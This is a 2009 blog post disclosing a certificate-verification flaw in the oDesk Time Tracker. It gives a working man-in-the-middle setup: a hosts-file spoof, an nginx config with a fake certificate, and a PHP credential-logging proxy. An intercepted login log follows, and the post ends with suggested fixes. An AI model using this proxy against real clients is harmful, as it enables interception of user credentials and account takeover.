oDesk Time Tracker Vulnerabilities

When SSL is not enough

  1. Time Tracker does not verify the certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team..com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS cache or whatever — this is doable).

    To imitate the DNS spoofing we will need to edit /etc/hosts file:

    [-]
    View Code Text
    127.0.0.1 team.odesk.com

    And set up a virtual host for our local web server (which will act as a proxy between the Time Tracker and the server) — I used :

    [-]
    View Code nginx configuration
    server {
        listen 80;
        server_name team.odesk.com;

        access_log  /var/log/nginx/team.odesk.com-access.log;
        error_log  /var/log/nginx/team.odesk.com-error.log;

        root /var/www/team.odesk.com;

        try_files junk @proxy;

        location @proxy {
            fastcgi_pass 127.0.0.1:8000;
            fastcgi_index index.php;
            fastcgi_param SCRIPT_FILENAME /var/www/team.odesk.com/index.php;
            include /etc/nginx/fastcgi_params;
        }
    }

    server {
        listen 443;
        keepalive_timeout 70;

        server_name  default;
        access_log  /var/log/nginx/secure-team.odesk.com-access.log;
        error_log  /var/log/nginx/secure-team.odesk.com-error.log;

        ssl on;
        ssl_certificate /etc/nginx/certs/fake-cert.crt;
        ssl_certificate_key /etc/nginx/certs/fake-cert.key;
        ssl_session_timeout 5m;

        ssl_protocols SSLv3 TLSv1;
        ssl_ciphers HIGH:MEDIUM;
        ssl_prefer_server_ciphers on;
        ssl_session_cache shared:SSL:10m;

        root /var/www/team.odesk.com;

        try_files junk @proxy;

        location @proxy {
            fastcgi_pass 127.0.0.1:8000;
            fastcgi_index index.php;
            fastcgi_param SCRIPT_FILENAME /var/www/team.odesk.com/index.php;
            include /etc/nginx/fastcgi_params;
        }
    }

    Nice proxy that logs all communication between the client and server:

    [-]
    Download index.php
    <?php
        if (false == empty($_POST)) {
            $ch = curl_init('https://209.128.65.132' . $_SERVER['REQUEST_URI']);

            $data = $_POST;
            if (false == empty($_FILES)) {
                foreach ($_FILES as $key => $item) {
                    $data[$key] = '@' . $item['tmp_name'];
                }
            }

            $f = fopen(dirname(__FILE__) . '/log.txt', "a");
            fwrite($f, $_SERVER['REQUEST_URI'] . "\n");
            fwrite($f, "<<<\n");
            fwrite($f, print_r($data, 1));
            fwrite($f, ">>>\n");

            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
            curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: team.odesk.com'));
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_HEADER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

            $s = curl_exec($ch);
            curl_close($ch);
            fwrite($f, $s);
            fwrite($f, "---\n\n\n");
            fclose($f);
            print $s;
        }
        else {
            print "status=S_OK\n";
            print "Fraude perit virtus";
        }
    ?>

    Thus, when a provider logs into his Account using the tracker, his session gets intercepted and all traffic can be logged:

    [-]
    View Code Text
    SERVER: https://209.128.65.132/client/receiver
    IN:
    Array
    (
        [version] => Linux/1.3.4
        [status] => C_NORMAL
        [company] => ics2:ics2
        [user] => vkolesnikov
        [password] => password_goes_here
        [uid] => 5f323dce-ee5c-4347-9074-ed5d356362d4
        [computer] => SJINKS
        [os] => Linux Ubuntu 9.04 (2.6.28-13-server)
        [snapint] => 600
        [trigger] => login
        [keyev] => 1
        [mousev] => 1
        [events_per_minute] => 1245070126,1,1
        [activewintitle] => client : mc
        [screensaveron] => false
        [memo] =>.
        [task_id] =>.
        [task_description] =>.
        [screenshot_width] => 1680
        [screenshot_height] => 1050
        [timestamp] => 1245070127
        [screen] => @/tmp/phpqzwmeh
    )

    OUT:
    status=S_OK
    servertime=1245070127
    hiresdesktop=enable
    webcam=user
    period=600
    use_https=yes
    company_name=ICS
    first_name=Vladimir
    last_name=Kolesnikov
    tz=Europe/Athens
    company=ics2:ics2
    login=vkolesnikov
    companies=Sphere314,extrememember,ics2:ics2
    odeskmeter=0.67,0.67,74.17,16.75,16.75,1854.25
    task_integration_policy=1
    cache_size=120
    And here comes the second vulnerability.
  2. Since the attacker is able to intercept the session, he would be able to intercept the login and password the provider used to log in (since they are transferred in clear text). And since Time Tracker login is the same as .com login the attacker will be able to log in as the provider whose session he has intercepted/ With the help of social engineering it could be possible to find the answer to the secret question (actually it could be easier than to spoof the DNS); and if the provider is away, the attacker can make a withdrawal to his account.

The main issue is that Time Tracker does not verify the host it connects to — which makes these vulnerabilities possible. If certificate verification is implemented, this will make attacker’s life more difficult. And to improve security of the .com account the Time Tracker could send a hash of the password instead of the password itself. Provided that a strong and secure hash function is used, it will be nearly impossible to reverse the hash to get the original password. Then account is safe, and even if the Team session is intercepted, the attacker would be unable to do anything with provider’s account.

Добавить в закладки

Связанные записи

Автор: Vladimir; опубликовано в: Безопасность; метки: MITM, nginx, oDesk, PHP, SSL, атака, спуфинг, уязвимость
15
Июнь
2009

RSS Комментарии к статье «oDesk Time Tracker Vulnerabilities» (2)  »

  1. [...] Today found this great post, here is a quick excerpt : oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and … Read the rest of this great post Here [...]

  2. [...] Today found this great post, here is a quick excerpt : oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and … Read the rest of this great post Here [...]

Оставить комментарий к записи «oDesk Time Tracker Vulnerabilities»

Вы должны быть авторизованы, чтобы иметь возможность оставить комментарий.

Подписаться, не комментируя